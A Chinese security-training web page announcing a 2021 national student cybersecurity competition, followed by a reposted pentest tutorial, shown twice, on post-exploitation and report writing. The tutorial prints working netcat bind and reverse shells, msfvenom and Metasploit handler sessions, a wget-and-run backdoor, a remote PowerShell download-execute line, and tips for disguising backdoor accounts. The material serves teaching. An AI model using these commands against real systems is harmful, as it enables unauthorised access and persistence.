NISP官网|国家信息安全水平考试NISP运营管理中心|国家网络空间安全人才培养基地欢迎您!

图片展示
搜索

图片展示

ISAT

信息安全意识培训

【立即报名】

NISP一级

国家信息安全水平考试

【立即报名】

NISP二级

国家信息安全水平考试

【立即报名】

NISP三级

国家信息安全水平考试

【立即报名】

CISP

注册信息安全专业人员

【立即报名】

NISP一级考试预约

 

图片展示

2021第二届全国⼤学⽣⽹络安全精英赛赛事介绍

 

       2021第二届全国⼤学⽣⽹络安全精英赛,指导单位为中国信息安全测评中⼼,主办⽅为国家⽹络空间安全⼈才培养基地。⼤赛以普及知识、挖掘⼈才为⼰任,⾯向全国⼤学⽣普及信息安全意识、传播信息安全知识、挖掘信息安全⼈才。

       本次比赛分为3个阶段,参赛学员均已个人赛形式参加比赛。第一阶段为全国线上初赛,主要考察学生的信息安全知识水平;第二阶段为全国线上复赛,主要考察学生网络安全基础知识和基本技能;第三阶段为全国线下总决赛;具体如下:

1.1.全国初

初赛主要考察学生信息安全知识水平,资格赛为线上答题形式。

☑ 比赛时间:7月1日-9月10日报名,9月13日-17日全国初赛

☑ 参赛资格:全国各类高、中等院校在校学生

☑ 比赛形式:初赛由各个参赛院校组织学生至大赛官网自主报名,由当地承办机构组织安排初赛时间。

☑ 比赛题型:初赛为50道单选题。

☑ 比赛内容:内容包含:信息安全概述、信息安全法律法规、信息安全基础技术、网络安全防护技术、操作系统安全防护技术、应用安全、移动智能终端安全防护、信息安全管理。

☑ 通过条件:满分100分,竞赛成绩达到70分及以上。

 

1.2.全国复赛

全国复赛主要考察参赛选手网络安全基础知识和基本技能。

☑ 比赛时间:9月24日全国复赛

☑ 比赛形式:复赛为线上答题形式进行,参赛条件为初赛成绩达70分以上。

☑ 比赛题型:复赛为100道单选题,

☑ 比赛内容:信息安全支撑技术、物理与网络通信安全、计算机环境安全、软件安全开发。

☑ 通过条件:全国前100名通过参加线下总决赛

 

1.3.全国总决赛

全国总决赛为线下知识竞赛形式。

☑ 比赛时间:10月11日全国线下总决赛

☑ 比赛形式:决赛为线下知识答题赛,参赛条件为复赛全国成绩前100名。

☑ 比赛题型:总决赛为100道单选题,

☑ 比赛内容:信息安全支撑技术、物理与网络通信安全、计算机环境安全、软件安全开发等。

☑ 获奖条件:根据总决赛最终成绩排名,产生大学生网络安全竞赛金奖:10人;银奖:10人;铜奖:20人。

 

1.4.奖项设置

2021年第二届大学生网络安全竞赛共设奖金20万元。

金奖:10人,奖金10000元/人

银奖:10人,奖金5000元/人

铜奖:20人,奖金2500元/人

获得⼤赛⾦银铜牌的选⼿,可获得⼤赛协办单位腾讯安全、卓朗科技、 深信服等信息安全知名企业签约⼯作机会。

 

4. 大赛同期其他活动

本次大赛同期将进行一系列与相关的活动,主要活动如下:

1.1大学生网络安全知识精英赛校园大使招募

第二届全国大学生网络安全精英赛即将于2021年7月1日启动报名,9月网络安全周期间开赛。现在面向全国在校大学生招募校园大使。招募规则如下:

 1.1.1.招募标准

具备⼀定的信息安全基础知识,擅长通过talkshow⼩段子、音乐创作、创意剪辑等各种才艺、方法传播信息安全知识、宣传网络安全精英赛的在校大学生。

1.1.2.招募平台

抖音APP

1.1.3.报名方式

1、开通抖音账号,并关注抖音官方号“网安精英赛”。

2、活动时间:2021年7月1日-2021年9月30日,10月11日公布获奖名单

3、拍摄与网络安全相关的短视频添加话题#网络安全精英赛#在抖音发布,并@网安精英赛 官方账号。

4、发动同学为自己的短视频点赞。

1.1.4.评选

大赛组委会邀请评委会评选作品,筛选出符合招募要求的作品,并按照点赞数排序,最终前十名入选的创作者将成为本届大学生网络安全精英赛校园大使。

1.1.5.公布

最终入选名单将在精英赛官网(https://www.nisp.org.cn/ds)公布。

1.1.6.表彰

成功当选校园大使的创作者,精英赛组委会将颁发聘书,并奖励华为 Mate 40E 手机一台(京东官方价4199元)。

 

1.2大学生网络安全知识精英赛答题接龙活动

校园大使招募活动同时,大赛组委会举办“网络安全精英赛·答题接龙”活动。

活动时间:2021年7月1日-2021年9月30日,10月11日公布获奖名单

参与在校大学生可登陆精英赛官网(https://www.nisp.org.cn/ds)学习网络安全辅导课程,并练习模拟题。

在抖音APP上传短视频,内容为回答一道网络安全模拟题,指定同学接龙。并以“大学生网络安全精英赛,你也来答题吧~”结尾。@网安精英赛 官方账号,参与抽奖。

奖品为华为WATCH GT 2 Pro 智能手表,共十个获奖名额(京东官网价2388元)。

 

渗透测试指南(五)后利用及报告

作者:nobodyshome 来源:国家网络空间安全人才培养基地


本文介绍了后渗透利用及渗透测试报告的编写。

后渗透利用

后渗透利用是指测试者发现目标的脆弱点,并进一步利用获取目标系统的初级/高级权限后,做的一些操作。比如以目标机器作为跳板进一步内网测试,或者是添加远程控制木马,删除入侵日志信息等。

常见的后利用方式有:

创建绑定shell(bind shell)或反弹shell(reverse shell)

创建调度任务

创建守护进程

创建新用户

创建后门

上传工具

执行ARP扫描

执行DNS和目录服务枚举

执行暴破攻击

配置端口转发

创建SSH隧道

创建VPN隧道

bind shell & reverse shell

所谓bind shell是指在被入侵的设备开启监听一个端口,这个端口和本地shell进程绑定,攻击者只有连接到这个端口即可执行shell命令。而reverse shell与此相反,攻击者在本地监听一个端口,本入侵设备主动连接攻击者的端口,并提供shell进程交互。

简单来说就是在被入侵设备开启端口监听就是bind shell,在攻击者设备开启端口监听就是反弹shell。

nc,netcat,ncat是一个工具的三个不同名称,被称为“瑞-士-军-刀”。用nc来演示bind shell和reverse shell

bind shell

使用nc

被入侵系统  192.168.1.2

nc -lvp 8888 -e /bin/bash

攻击者      192.168.1.3

nc 192.168.1.2 8888

使用meterpreter

攻击者      192.168.1.3

# 第一步,生成bind shell的程序,供后续被入侵设备wget下载

# msfvenom -p linux/x86/meterpreter/bind_tcp lport=7777  -f elf -o bshell

# 第三步,使用msf主动连接被入侵设备

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/bind_tcp

payload => linux/x86/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set RHOST 192.168.1.2

RHOST => 192.168.1.2

msf5 exploit(multi/handler) > set LPORT 7777

LPORT => 7777

msf5 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.1.2:7777

[*] Sending stage (985320 bytes) to 192.168.1.2

[*] Meterpreter session 3 opened (192.168.1.3:40231 -> 192.168.1.2:7777) at 2020-05-16 07:44:32 -0400

meterpreter > ls

Listing: /root

==============

Mode              Size     Type  Last modified              Name

被入侵系统  192.168.1.2

第二步

wget http://192.168.1.3/bshell

chmod +x bshell

./bshell &

reverse shell

使用nc

被入侵系统  192.168.1.2

nc 192.168.1.3 6666 -e /bin/bash

攻击者      192.168.1.3

nc -lvp 6666

使用meterpreter

攻击者      192.168.1.3

# 第一步,生成反弹shell的程序,供后续被入侵设备wget下载

# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.3 lport=5555 -f exe -o rshell.exe

# 第三步,使用msf开启监听反弹shell

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 192.168.1.3

LHOST => 192.168.1.3

msf5 exploit(multi/handler) > set LPORT 5555

LPORT => 5555

msf5 exploit(multi/handler) > run

# 当被入侵系统执行rshell.exe时,攻击者可以收到以下反弹shell信息,接下来就可以执行命令了,meterpreter封装了自己的一套命令,是不依赖系统的

[*] Started reverse TCP handler on 192.168.1.3:5555 

[*] Sending stage (180291 bytes) to 192.168.1.2

[*] Meterpreter session 1 opened (192.168.1.3:5555 -> 192.168.1.2:60052) at 2020-05-16 07:20:35 -0400

smeterpreter > ls

被入侵系统  192.168.1.2

第二步

wget http://192.168.1.3/rshell.exe

命令行启动 rshell.exe

Command and Control

这个Command and Control有时也被简写为CnC/C2/C&C 。这是一个中间件,攻击者直接控制C2,向C2发送命令以及接收信息,而C2把命令转发给其他被控制设备。

Attack <—-> C2 <—-> Compromised Machine

一些开源的C2框架有:socat, wsc2, WMImplant, DropboxC2, TrevorC2, Twittor, DNSCat2

创建调度任务

在windows环境,可以通过在“开始”中搜索 任务计划程序,设置windows下的计划任务。在Linux环境,可以配置/etc/crontab 来设置计划任务。

创建守护进程

攻击者入侵系统后,可以上传后门,远程控制木马到系统,并设置为守护进程启动。另外为了持续控制目标系统,还需要配置进程开机自启动,或者是加入到调度任务。

创建新用户

攻击者入侵系统后,如果能获取到root或者administrator权限,可以添加一个用户,攻击者可以使用该用户登录控制被入侵的系统。另外添加的用户名最好表现的很正常,最好不要用比如hacker,pentest,等等看上去就是恶意用户的用户名,最后后门用户的密码最好配置为强密码。

内网漫游(Lateral Movement)

内网漫游(Lateral Movement)也被称为跳板(Pivoting),内网漫游的意思是攻击者入侵了一台机器,以这个机器为跳板,对机器所在的网络进行横向漏洞挖掘和利用。如果目标网络没有做好网段隔离,就很存在内网漫游威胁。

远程访问协议

远程访问分为终端和UI两大类,终端如ssh,telnet等,而UI如Microsoft RDP,Apple Remote Desktop, VNC,X Server Desktop

下面介绍一下通过metasploit来使能远程RDP,前面反弹shell有介绍过用meterpreter来连接目标系统,攻击者首先通过msfvenom生成一个后门进程,把进程传送给被攻击系统,本地通过msf监听反弹shell,在被攻击系统执行后门进程,反弹shell到攻击者。此时攻击者已经通过meterpreter控制目标系统,执行

# 首先配置enable_rdp的options

msf > use post/windows/manage/enable_rdp

# 接下来通过meterpreter连接到被入侵系统,这个在前面反弹shell中有讲过,本处不再重复

# 最后执行下面命令开启被入侵系统RDP服务,在被入侵系统的“系统属性--远程--远程桌面”可以确认远程是否被打开

meterpreter > run post/windows/manage/enable_rdp 

windows下的post-exploitation

PowerShell

PowerShell支持非常多命令,比如get-hostfix, get-command, get-process, get-service等

执行远程脚本

PS > IEX (New-Object Net.WebClient).DownloadString('http://host/do_some_bad_thing.ps1')

PowerSploit

PowerSploit是一些后渗透利用的一些PowerShell脚本的汇总。PowerSploit的github地址为:https://github.com/PowerShellMafia/PowerSploit

PowerShell远程执行可以直接调用PowerSploit里封装好的脚本。一般操作是把PowerSploit clone到攻击环境,再搭建一个简单的http服务器,比如通过python3 -m http.server 80, 接下来直接远程执行对应脚本。

Empire

Empire是另一款后渗透测试利用框架。github地址为 https://github.com/EmpireProject/Empire. 不过这个框架已经停止维护了。

这个工具的使用和msf的meterpreter模块非常类似,首先生成一个payload,然后开启监听,最后payload在目标系统上执行让攻击者可以控制目标系统。

WMI(Windows Management Instrumentation)

WMI是Windows管理规范(Windows Management Instrumentation)的缩写。

WMI提供了一套内置在Microsoft Windows操作系统中的丰富的系统管理服务,可以在有大量的应用程序、服务和设备的系统中提供全方位的管理功能。

通过WMI接口可以获得的信息量是惊人的,包括硬件设置,状态信息,驱动器配置,BIOS信息,应用程序的设置,事件记录信息,以及其他。

我们前面讲到powershell,比如get-command, get-process, get-service这些命令,都是调用了WMI的接口。

Windows本身提供了几个WMI工具供用户使用,包括WMIC.exe、WBEMTest.exe和WMI Administrative Tools等, 不过WMI Administrative Tools好像微软不再支持了,官网已不再支持下载。

更多WMI相关内容,请查看参考文献[2],[3]。

Sysinternals 和 PSExec

Sysinternals是微软提供的一套工具集,支持管理员远程控制windows主机。下载地址 https://docs.microsoft.com/en-us/sysinternals/downloads/

Sysinternals工具集中PsExec是功能非常强大的攻击之一。PsExec允许攻击者远程执行程序,配置注册表等操作。

比如远程打开一个计算器程序

PsExec \\\\vitem_host -u username -p password -d -i calc.exe

更多相关内容,请查看参考文献[4]

清除痕迹

在前期交互过程,测试人员要和甲方说明清楚清除痕迹和环境恢复流程。一般来说,测试人员在这个阶段,checklist如下:

删除测试过程添加的账户

删除所有测试文件,包括二进制,脚本,临时文件等,安全删除方法在前期交互过程要和甲方确认清楚

把系统配置文件恢复成原样

删除所有后门,守护进程,服务,rootkits等

删除所有甲方用户数据(在提交渗透测试给甲方后)

清除痕迹一定要很细致,比如你通过msf执行某个攻击,但是出现了异常,你此时就需要分析模块执行了什么操作,是否有在目标系统上传脚本或文件,这些都需要被处理。

所以最好是能有一个staging environment(生产环境/模拟环境)提供给渗透测试人员测试,这样恢复起来比较简单。不过有些场景只能在实际环境测试,这时候就得十分小心,清除过程得细致干净。

渗透测试报告

进入主题之前,先思考两个问题

Q1: 如果你所在的公司主机被入侵数据泄露,领导问你是怎么执行渗透测试的,有没有认真工作? Q2: 测试报告应该在什么时候写,测试过程中还是测试结束后?

写报告要注意的几个点

1 了解报告是给谁看到,如果是高层领导,那就不要一上来就写技术细节,应该在摘要和概括部分多花点精力描述,如果是开发人员,那应该在步骤复现,修复建议等内容上细致描述

2 避免直接从漏洞扫描器上复制粘贴到渗透测试报告中,因为扫描器可能有假阳性漏洞,一定要认证排查确认是漏洞后再写入报告

3 把扫描器结果和环境关联,比如扫描器报告系统开启21端口ftp服务,版本是最新的,就这个信息你都无法评低危,但假设你发现这个ftp服务用于存储敏感数据,并且公司声明不再使用该ftp,结果就不一样了。

4 测试报告应该在测试过程中不断完善,不要等到测试结束再去编写报告。因为测试过程你可以写的更细致,资源也多。如果等到测试结束后,可能会遗漏一些细节,或者要补充信息时要重新配置环境测试。

dradis

Dradis框架是一个开源的协作和报告平台。

关于dradis的简单使用,可查看这篇博客https://www.hackingarticles.in/dradis-reporting-and-collaboration-tool/

看kali里没有默认安装dradis,就按照下列命令安装dradis

 apt-get install libsqlite3-dev

 apt-get install zlib1g-dev

 git clone https://github.com/dradis/dradis-ce.git

 cd dradis-ce/

 ./bin/setup 

 vim Gemfile    #修改ruby版本为本机版本

 ./bin/setup 

 bundle install

 ./bin/rails server -b 0.0.0.0

渗透测试报告模板

https://github.com/The-Art-of-Hacking/h4cker/tree/master/pen_testing_reports 这个仓库收集了几个渗透测试模板,比如PCI-DSS,SANS,Offensive Security等

目标用户不同,测试报告内容也会有不同的偏重。给领导看的报告就不需要太体现漏洞技术细节,而给技术人员看的报告就要求细致,精确。

建议读者看看PCI-DSS和SANS的模板,这两份模板都很有参考价值。读者可以根据自己的环境背景,基于这些模板定制自己的测试报告模板。

一般来说,测试报告要涉及以下这些信息:

执行摘要:

    摘要

    时间

    测试范围

    测试人员

    漏洞摘要

    测试目标

    高危严重漏洞简述

测试方法论

    PTES

    OWASP Testing Project

    NIST 800-115

    自定义渗透测试方法论

漏洞评估方法

    CVSS

    OWASP Risk Rating Methodology

漏洞详情及修复建议

    漏洞描述

    漏洞影响

    漏洞风险评估

    修复建议

    漏洞细节(细节中如果有敏感信息,也要视甲方要求,适当脱敏)

最后报告完成了,交付方式也要注意,毕竟渗透测试报告是高机密性的文档,如果信息泄露,后果可能非常严重。报告提供方式是提供纸质报告还是电子报告,报告应该发给谁,通过什么方式发送都应该和甲方协商清楚。最好给每份报告添加一个ID,便于后续追踪,且最好做一个测试报告跟踪日志,记录测试报告在什么时间点发送给谁。

乙方在递交渗透测试报告后,需要把甲方的数据清除,避免对甲方的数据造成信息泄露。

总结

回到“渗透测试报告”开头的两个问题

Q1: 如果你所在的公司主机被入侵数据泄露,领导问你是怎么执行渗透测试的,有没有认真工作? Q2: 测试报告应该在什么时候写,测试过程中还是测试结束后?

Q2比较好回答

A2: 边测试边写报告,这次才能比较好的把漏洞的前因后果比较细致的写清楚。

Q1是所有渗透测试人员都可能碰到的问题,说实话谁也无法保证测试完之后能发现所有的安全问题。我的回答可能会是这样

A1: 在前期交互阶段输出的前期交互表明确了测试范围和测试目标,并同时输出测试计划。通过类似Dradis的工具,把信息收集的数据呈现出来。如果有执行威胁建模,则输出威胁建模报告和DFD(Data Flow Diagram)。在脆弱性评估阶段输出Checklist或者是测试用例,这一步非常关键,至少用例能让甲方/老板非常直观的了解测了哪些安全问题,能不能测出来是另一回事,至少通过用例能表明你做了测试。最后通过渗透测试报告表明发现的脆弱点及脆弱点被利用后的风险等。以上这些文件都是证明你工作的材料。反过来如果你是甲方你只看到一份相对简单的测试报告,你就可以要求乙方提供更多材料证明渗透测试工作覆盖面和测试深度都符合要求。


参考文献

[1] CompTIA Pentest+ Cert Guide

[2] https://www.cnblogs.com/lhuser/articles/2250366.html

[3] https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

[4] https://docs.microsoft.com/en-us/sysinternals/


文章转自:FreeBuf.COM


0
NISP管理中心

渗透测试指南(五)后利用及报告

作者:nobodyshome 浏览: 发表时间:2020-12-03 09:53:56 来源:国家网络空间安全人才培养基地


本文介绍了后渗透利用及渗透测试报告的编写。

后渗透利用

后渗透利用是指测试者发现目标的脆弱点,并进一步利用获取目标系统的初级/高级权限后,做的一些操作。比如以目标机器作为跳板进一步内网测试,或者是添加远程控制木马,删除入侵日志信息等。

常见的后利用方式有:

创建绑定shell(bind shell)或反弹shell(reverse shell)

创建调度任务

创建守护进程

创建新用户

创建后门

上传工具

执行ARP扫描

执行DNS和目录服务枚举

执行暴破攻击

配置端口转发

创建SSH隧道

创建VPN隧道

bind shell & reverse shell

所谓bind shell是指在被入侵的设备开启监听一个端口,这个端口和本地shell进程绑定,攻击者只有连接到这个端口即可执行shell命令。而reverse shell与此相反,攻击者在本地监听一个端口,本入侵设备主动连接攻击者的端口,并提供shell进程交互。

简单来说就是在被入侵设备开启端口监听就是bind shell,在攻击者设备开启端口监听就是反弹shell。

nc,netcat,ncat是一个工具的三个不同名称,被称为“瑞-士-军-刀”。用nc来演示bind shell和reverse shell

bind shell

使用nc

被入侵系统  192.168.1.2

nc -lvp 8888 -e /bin/bash

攻击者      192.168.1.3

nc 192.168.1.2 8888

使用meterpreter

攻击者      192.168.1.3

# 第一步,生成bind shell的程序,供后续被入侵设备wget下载

# msfvenom -p linux/x86/meterpreter/bind_tcp lport=7777  -f elf -o bshell

# 第三步,使用msf主动连接被入侵设备

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/bind_tcp

payload => linux/x86/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set RHOST 192.168.1.2

RHOST => 192.168.1.2

msf5 exploit(multi/handler) > set LPORT 7777

LPORT => 7777

msf5 exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.1.2:7777

[*] Sending stage (985320 bytes) to 192.168.1.2

[*] Meterpreter session 3 opened (192.168.1.3:40231 -> 192.168.1.2:7777) at 2020-05-16 07:44:32 -0400

meterpreter > ls

Listing: /root

==============

Mode              Size     Type  Last modified              Name

被入侵系统  192.168.1.2

第二步

wget http://192.168.1.3/bshell

chmod +x bshell

./bshell &

reverse shell

使用nc

被入侵系统  192.168.1.2

nc 192.168.1.3 6666 -e /bin/bash

攻击者      192.168.1.3

nc -lvp 6666

使用meterpreter

攻击者      192.168.1.3

# 第一步,生成反弹shell的程序,供后续被入侵设备wget下载

# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.3 lport=5555 -f exe -o rshell.exe

# 第三步,使用msf开启监听反弹shell

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST 192.168.1.3

LHOST => 192.168.1.3

msf5 exploit(multi/handler) > set LPORT 5555

LPORT => 5555

msf5 exploit(multi/handler) > run

# 当被入侵系统执行rshell.exe时,攻击者可以收到以下反弹shell信息,接下来就可以执行命令了,meterpreter封装了自己的一套命令,是不依赖系统的

[*] Started reverse TCP handler on 192.168.1.3:5555 

[*] Sending stage (180291 bytes) to 192.168.1.2

[*] Meterpreter session 1 opened (192.168.1.3:5555 -> 192.168.1.2:60052) at 2020-05-16 07:20:35 -0400

smeterpreter > ls

被入侵系统  192.168.1.2

第二步

wget http://192.168.1.3/rshell.exe

命令行启动 rshell.exe

Command and Control

这个Command and Control有时也被简写为CnC/C2/C&C 。这是一个中间件,攻击者直接控制C2,向C2发送命令以及接收信息,而C2把命令转发给其他被控制设备。

Attack <—-> C2 <—-> Compromised Machine

一些开源的C2框架有:socat, wsc2, WMImplant, DropboxC2, TrevorC2, Twittor, DNSCat2

创建调度任务

在windows环境,可以通过在“开始”中搜索 任务计划程序,设置windows下的计划任务。在Linux环境,可以配置/etc/crontab 来设置计划任务。

创建守护进程

攻击者入侵系统后,可以上传后门,远程控制木马到系统,并设置为守护进程启动。另外为了持续控制目标系统,还需要配置进程开机自启动,或者是加入到调度任务。

创建新用户

攻击者入侵系统后,如果能获取到root或者administrator权限,可以添加一个用户,攻击者可以使用该用户登录控制被入侵的系统。另外添加的用户名最好表现的很正常,最好不要用比如hacker,pentest,等等看上去就是恶意用户的用户名,最后后门用户的密码最好配置为强密码。

内网漫游(Lateral Movement)

内网漫游(Lateral Movement)也被称为跳板(Pivoting),内网漫游的意思是攻击者入侵了一台机器,以这个机器为跳板,对机器所在的网络进行横向漏洞挖掘和利用。如果目标网络没有做好网段隔离,就很存在内网漫游威胁。

远程访问协议

远程访问分为终端和UI两大类,终端如ssh,telnet等,而UI如Microsoft RDP,Apple Remote Desktop, VNC,X Server Desktop

下面介绍一下通过metasploit来使能远程RDP,前面反弹shell有介绍过用meterpreter来连接目标系统,攻击者首先通过msfvenom生成一个后门进程,把进程传送给被攻击系统,本地通过msf监听反弹shell,在被攻击系统执行后门进程,反弹shell到攻击者。此时攻击者已经通过meterpreter控制目标系统,执行

# 首先配置enable_rdp的options

msf > use post/windows/manage/enable_rdp

# 接下来通过meterpreter连接到被入侵系统,这个在前面反弹shell中有讲过,本处不再重复

# 最后执行下面命令开启被入侵系统RDP服务,在被入侵系统的“系统属性--远程--远程桌面”可以确认远程是否被打开

meterpreter > run post/windows/manage/enable_rdp 

windows下的post-exploitation

PowerShell

PowerShell支持非常多命令,比如get-hostfix, get-command, get-process, get-service等

执行远程脚本

PS > IEX (New-Object Net.WebClient).DownloadString('http://host/do_some_bad_thing.ps1')

PowerSploit

PowerSploit是一些后渗透利用的一些PowerShell脚本的汇总。PowerSploit的github地址为:https://github.com/PowerShellMafia/PowerSploit

PowerShell远程执行可以直接调用PowerSploit里封装好的脚本。一般操作是把PowerSploit clone到攻击环境,再搭建一个简单的http服务器,比如通过python3 -m http.server 80, 接下来直接远程执行对应脚本。

Empire

Empire是另一款后渗透测试利用框架。github地址为 https://github.com/EmpireProject/Empire. 不过这个框架已经停止维护了。

这个工具的使用和msf的meterpreter模块非常类似,首先生成一个payload,然后开启监听,最后payload在目标系统上执行让攻击者可以控制目标系统。

WMI(Windows Management Instrumentation)

WMI是Windows管理规范(Windows Management Instrumentation)的缩写。

WMI提供了一套内置在Microsoft Windows操作系统中的丰富的系统管理服务,可以在有大量的应用程序、服务和设备的系统中提供全方位的管理功能。

通过WMI接口可以获得的信息量是惊人的,包括硬件设置,状态信息,驱动器配置,BIOS信息,应用程序的设置,事件记录信息,以及其他。

我们前面讲到powershell,比如get-command, get-process, get-service这些命令,都是调用了WMI的接口。

Windows本身提供了几个WMI工具供用户使用,包括WMIC.exe、WBEMTest.exe和WMI Administrative Tools等, 不过WMI Administrative Tools好像微软不再支持了,官网已不再支持下载。

更多WMI相关内容,请查看参考文献[2],[3]。

Sysinternals 和 PSExec

Sysinternals是微软提供的一套工具集,支持管理员远程控制windows主机。下载地址 https://docs.microsoft.com/en-us/sysinternals/downloads/

Sysinternals工具集中PsExec是功能非常强大的攻击之一。PsExec允许攻击者远程执行程序,配置注册表等操作。

比如远程打开一个计算器程序

PsExec \\\\vitem_host -u username -p password -d -i calc.exe

更多相关内容,请查看参考文献[4]

清除痕迹

在前期交互过程,测试人员要和甲方说明清楚清除痕迹和环境恢复流程。一般来说,测试人员在这个阶段,checklist如下:

删除测试过程添加的账户

删除所有测试文件,包括二进制,脚本,临时文件等,安全删除方法在前期交互过程要和甲方确认清楚

把系统配置文件恢复成原样

删除所有后门,守护进程,服务,rootkits等

删除所有甲方用户数据(在提交渗透测试给甲方后)

清除痕迹一定要很细致,比如你通过msf执行某个攻击,但是出现了异常,你此时就需要分析模块执行了什么操作,是否有在目标系统上传脚本或文件,这些都需要被处理。

所以最好是能有一个staging environment(生产环境/模拟环境)提供给渗透测试人员测试,这样恢复起来比较简单。不过有些场景只能在实际环境测试,这时候就得十分小心,清除过程得细致干净。

渗透测试报告

进入主题之前,先思考两个问题

Q1: 如果你所在的公司主机被入侵数据泄露,领导问你是怎么执行渗透测试的,有没有认真工作? Q2: 测试报告应该在什么时候写,测试过程中还是测试结束后?

写报告要注意的几个点

1 了解报告是给谁看到,如果是高层领导,那就不要一上来就写技术细节,应该在摘要和概括部分多花点精力描述,如果是开发人员,那应该在步骤复现,修复建议等内容上细致描述

2 避免直接从漏洞扫描器上复制粘贴到渗透测试报告中,因为扫描器可能有假阳性漏洞,一定要认证排查确认是漏洞后再写入报告

3 把扫描器结果和环境关联,比如扫描器报告系统开启21端口ftp服务,版本是最新的,就这个信息你都无法评低危,但假设你发现这个ftp服务用于存储敏感数据,并且公司声明不再使用该ftp,结果就不一样了。

4 测试报告应该在测试过程中不断完善,不要等到测试结束再去编写报告。因为测试过程你可以写的更细致,资源也多。如果等到测试结束后,可能会遗漏一些细节,或者要补充信息时要重新配置环境测试。

dradis

Dradis框架是一个开源的协作和报告平台。

关于dradis的简单使用,可查看这篇博客https://www.hackingarticles.in/dradis-reporting-and-collaboration-tool/

看kali里没有默认安装dradis,就按照下列命令安装dradis

 apt-get install libsqlite3-dev

 apt-get install zlib1g-dev

 git clone https://github.com/dradis/dradis-ce.git

 cd dradis-ce/

 ./bin/setup 

 vim Gemfile    #修改ruby版本为本机版本

 ./bin/setup 

 bundle install

 ./bin/rails server -b 0.0.0.0

渗透测试报告模板

https://github.com/The-Art-of-Hacking/h4cker/tree/master/pen_testing_reports 这个仓库收集了几个渗透测试模板,比如PCI-DSS,SANS,Offensive Security等

目标用户不同,测试报告内容也会有不同的偏重。给领导看的报告就不需要太体现漏洞技术细节,而给技术人员看的报告就要求细致,精确。

建议读者看看PCI-DSS和SANS的模板,这两份模板都很有参考价值。读者可以根据自己的环境背景,基于这些模板定制自己的测试报告模板。

一般来说,测试报告要涉及以下这些信息:

执行摘要:

    摘要

    时间

    测试范围

    测试人员

    漏洞摘要

    测试目标

    高危严重漏洞简述

测试方法论

    PTES

    OWASP Testing Project

    NIST 800-115

    自定义渗透测试方法论

漏洞评估方法

    CVSS

    OWASP Risk Rating Methodology

漏洞详情及修复建议

    漏洞描述

    漏洞影响

    漏洞风险评估

    修复建议

    漏洞细节(细节中如果有敏感信息,也要视甲方要求,适当脱敏)

最后报告完成了,交付方式也要注意,毕竟渗透测试报告是高机密性的文档,如果信息泄露,后果可能非常严重。报告提供方式是提供纸质报告还是电子报告,报告应该发给谁,通过什么方式发送都应该和甲方协商清楚。最好给每份报告添加一个ID,便于后续追踪,且最好做一个测试报告跟踪日志,记录测试报告在什么时间点发送给谁。

乙方在递交渗透测试报告后,需要把甲方的数据清除,避免对甲方的数据造成信息泄露。

总结

回到“渗透测试报告”开头的两个问题

Q1: 如果你所在的公司主机被入侵数据泄露,领导问你是怎么执行渗透测试的,有没有认真工作? Q2: 测试报告应该在什么时候写,测试过程中还是测试结束后?

Q2比较好回答

A2: 边测试边写报告,这次才能比较好的把漏洞的前因后果比较细致的写清楚。

Q1是所有渗透测试人员都可能碰到的问题,说实话谁也无法保证测试完之后能发现所有的安全问题。我的回答可能会是这样

A1: 在前期交互阶段输出的前期交互表明确了测试范围和测试目标,并同时输出测试计划。通过类似Dradis的工具,把信息收集的数据呈现出来。如果有执行威胁建模,则输出威胁建模报告和DFD(Data Flow Diagram)。在脆弱性评估阶段输出Checklist或者是测试用例,这一步非常关键,至少用例能让甲方/老板非常直观的了解测了哪些安全问题,能不能测出来是另一回事,至少通过用例能表明你做了测试。最后通过渗透测试报告表明发现的脆弱点及脆弱点被利用后的风险等。以上这些文件都是证明你工作的材料。反过来如果你是甲方你只看到一份相对简单的测试报告,你就可以要求乙方提供更多材料证明渗透测试工作覆盖面和测试深度都符合要求。


参考文献

[1] CompTIA Pentest+ Cert Guide

[2] https://www.cnblogs.com/lhuser/articles/2250366.html

[3] https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

[4] https://docs.microsoft.com/en-us/sysinternals/


文章转自:FreeBuf.COM


渗透测试指南(五)后利用及报告
本文介绍了后渗透利用及渗透测试报告的编写。
长按图片保存/分享
0

 

网安世纪科技有限公司-国家信息安全水平考试(NISP)管理中心 © 2001-2020  ICP备案号:京ICP备18045154号-6

网站地图

全部课程

添加微信好友,详细了解产品
使用企业微信
“扫一扫”加入群聊
复制成功
添加微信好友,详细了解产品
我知道了
京ICP备18045154号-6